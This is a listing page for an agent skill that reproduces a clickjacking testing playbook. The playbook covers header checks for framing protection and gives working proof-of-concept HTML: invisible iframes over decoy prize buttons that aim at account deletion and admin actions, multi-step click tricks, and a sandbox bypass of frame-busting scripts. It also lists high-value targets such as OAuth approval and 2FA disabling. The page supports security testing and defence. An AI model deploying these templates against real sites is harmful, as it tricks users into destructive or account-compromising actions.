clickjacking
Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.
- Installs
- 3.6K
- Last 24h
- +16
- Trending rank
- #6648
- Security
- Not audited
Install
Works with every agent the skills CLI supports.
npx skills add https://github.com/yaklang/hack-skills --skill clickjacking- 01
Install
Run the command in your project. The CLI asks which agents to install for.
- 02
Describe the task
Ask your agent for something this skill covers. It loads clickjacking automatically when relevant.
- 03
Review the result
The agent follows the SKILL.md steps, scripts and references bundled with the skill.
SKILL.md
The instructions your agent reads when the skill is triggered.
SKILL: Clickjacking — Expert Attack Playbook
AI LOAD INSTRUCTION: Clickjacking (UI redress) techniques. Covers iframe transparency tricks, X-Frame-Options bypass, CSP frame-ancestors, multi-step clickjacking, drag-and-drop attacks, and chaining with other vulnerabilities. Often a "low severity" finding that becomes critical when targeting admin actions.
1. CORE CONCEPT
Clickjacking loads a target page in a transparent iframe overlaid on an attacker's page. The victim sees the attacker's UI but clicks on the invisible target page, performing unintended actions.
<style>
iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0.0001; z-index: 2; }
.decoy { position: absolute; top: 200px; left: 100px; z-index: 1; }
</style>
<div class="decoy"><button>Click to win a prize!</button></div>
<iframe src="https://target.com/account/delete?confirm=yes"></iframe>
2. DETECTION — IS THE PAGE FRAMEABLE?
Check X-Frame-Options Header
X-Frame-Options: DENY → cannot be framed (secure)
X-Frame-Options: SAMEORIGIN → only same-origin framing (secure for cross-origin)
X-Frame-Options: ALLOW-FROM uri → deprecated, browser support inconsistent
(header absent) → frameable! (vulnerable)
Check CSP frame-ancestors
Content-Security-Policy: frame-ancestors 'none' → cannot be framed
Content-Security-Policy: frame-ancestors 'self' → same-origin only
Content-Security-Policy: frame-ancestors https://a.com → specific origin
(directive absent) → frameable
CSP frame-ancestors supersedes X-Frame-Options in modern browsers.
Quick PoC Test
<iframe src="https://target.com/sensitive-action" width="800" height="600"></iframe>
If the page loads in the iframe → frameable → potentially vulnerable.
JavaScript Frame Detection (from target page source)
// Common frame-busting code found in target pages:
if (top.location.hostname !== self.location.hostname) {
top.location.href = self.location.href;
}
If this code is present but not using CSP frame-ancestors, it can often be bypassed.
3. PROOF OF CONCEPT TEMPLATES
Basic Single-Click
<html>
<head><title>Free Prize</title></head>
<body>
<h1>Click the button to claim your prize!</h1>
<style>
iframe { position: absolute; top: 300px; left: 60px;
width: 500px; height: 200px; opacity: 0.0001; z-index: 2; }
</style>
<iframe src="https://target.com/account/settings?action=delete"></iframe>
</body>
</html>
Multi-Step Clickjacking
For actions requiring multiple clicks (e.g., "Are you sure?" confirmation):
<div id="step1">
<button onclick="document.getElementById('step1').style.display='none';
document.getElementById('step2').style.display='block';">
Step 1: Click here
</button>
</div>
<div id="step2" style="display:none">
<button>Step 2: Confirm</button>
</div>
<iframe src="https://target.com/admin/action"></iframe>
Reposition iframe for each step to align the transparent button with the decoy.
Drag-and-Drop Clickjacking
Extract data from one iframe to another using HTML5 drag-and-drop events — the victim drags across invisible iframes, transferring tokens or data.
4. BYPASS TECHNIQUES
Frame-Busting Script Bypass
Some pages use JavaScript frame-busting:
if (top !== self) { top.location = self.location; }
Bypass with sandbox attribute:
<iframe src="https://target.com" sandbox="allow-forms allow-scripts"></iframe>
<!-- sandbox without allow-top-navigation prevents frame-busting -->
X-Frame-Options ALLOW-FROM Bypass
ALLOW-FROM is not supported in Chrome/Safari. If the server relies solely on ALLOW-FROM, modern browsers ignore it → page is frameable.
Double-Framing
If X-Frame-Options: SAMEORIGIN is set, but a same-origin page exists that can be framed (without XFO), use that page as an intermediary to frame the target.
5. HIGH-IMPACT TARGETS
Account deletion page
Email/password change form
Admin panel actions (add user, change role)
Payment confirmation
OAuth authorization ("Allow" button)
Two-factor authentication disable
API key generation
Webhook configuration
6. TESTING CHECKLIST
□ Check X-Frame-Options header on sensitive pages
□ Check CSP frame-ancestors directive
□ Create iframe PoC and verify page loads
□ Test frame-busting scripts — try sandbox attribute bypass
□ Identify high-value single-click actions
□ For multi-step actions, build multi-click PoC
□ Test both authenticated and unauthenticated pages
□ Verify ALLOW-FROM behavior across browsers
FAQ
What does the clickjacking skill do?
Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.
How do I install clickjacking?
Run npx skills add https://github.com/yaklang/hack-skills --skill clickjacking in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/clickjacking/ (personal) or .claude/skills/clickjacking/ (project).
Which AI agents can use clickjacking?
Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.
Is clickjacking safe to install?
No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.
Who maintains clickjacking?
It is published by yaklang in yaklang/hack-skills. It has 3,604 recorded installs.
More from yaklang/hack-skills
hack
yaklang/hack-skills
Entry P0 primary router and operating doctrine for HackSkills. Use when the task involves web application testing, API security assessment, recon, vulnerability triage, exploit path planning, authorized pentest, code audit, source-leak mining, middleware audit, SOC triage, detection engineering, incident response, or choosing the right next category skill before any deep topic skill. Also use when the user mentions 安全工程师, 渗透测试, 红队, 蓝队, 代码审计, 源码泄露, SRC. Enforce impact-first testing, finish the current asset cluster before expanding, follow half-chains to real control, and require live verification of secrets.
android-pentesting-tricks
yaklang/hack-skills
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.
recon-and-methodology
yaklang/hack-skills
Reconnaissance and methodology playbook. Use when mapping assets, discovering endpoints, fingerprinting technology, and building a structured testing plan for a new target.
sqli-sql-injection
yaklang/hack-skills
SQL injection playbook. Use when input reaches SQL queries, authentication logic, sorting, filtering, reporting, or DB-specific blind and out-of-band execution paths.
code-obfuscation-deobfuscation
yaklang/hack-skills
Code obfuscation analysis and deobfuscation playbook. Use when reversing binaries protected by junk code, opaque predicates, self-modifying code, control flow flattening, VM protection, or string encryption.
xss-cross-site-scripting
yaklang/hack-skills
XSS playbook. Use when user-controlled content reaches HTML, attributes, JavaScript, DOM sinks, uploads, or multi-context rendering paths.
Popular frontend & design skills
setup-matt-pocock-skills
mattpocock/skills
Configure this repo for the engineering skills: set up its issue tracker, triage label vocabulary, and domain doc layout. Run once before first use of the other engineering skills.
frontend-design
anthropics/skills
Guidance for distinctive, intentional visual design when building new UI or reshaping an existing one. Helps with aesthetic direction, typography, and making choices that don't read as templated defaults.
hyperframes-animation
heygen-com/hyperframes
All animation knowledge for HyperFrames — atomic motion rules, multi-phase scene blueprints, scene transitions, broader motion-design techniques, AND the seven runtime adapters (GSAP default, plus Lottie, Three.js, Anime.js, CSS keyframes, Web Animations API, TypeGPU). Use for any motion or animation task: pick 2-4 rules and compose, or load a blueprint, or look up runtime-specific API (e.g. GSAP eases / Lottie player / Three.js mixer). Also covers auditing an existing composition's choreography (animation map) and 24 named text-animation effects. HyperFrames-native: single paused timeline, seek-safe, deterministic.
prototype
mattpocock/skills
Build a throwaway prototype to answer a design question. Use when the user wants to sanity-check whether a state model or logic feels right, or explore what a UI should look like.
hyperframes-core
heygen-com/hyperframes
The HyperFrames composition contract — build one renderable project. Use for composition structure, the data- timing attributes, class="clip", tracks, sub-compositions, variables, framework-owned media playback, deterministic-render rules, and validation. Read before writing composition HTML.
vercel-react-best-practices
vercel-labs/agent-skills
React and Next.js performance optimization guidelines from Vercel Engineering. This skill should be used when writing, reviewing, or refactoring React/Next.js code to ensure optimal performance patterns. Triggers on tasks involving React components, Next.js pages, data fetching, bundle optimization, or performance improvements.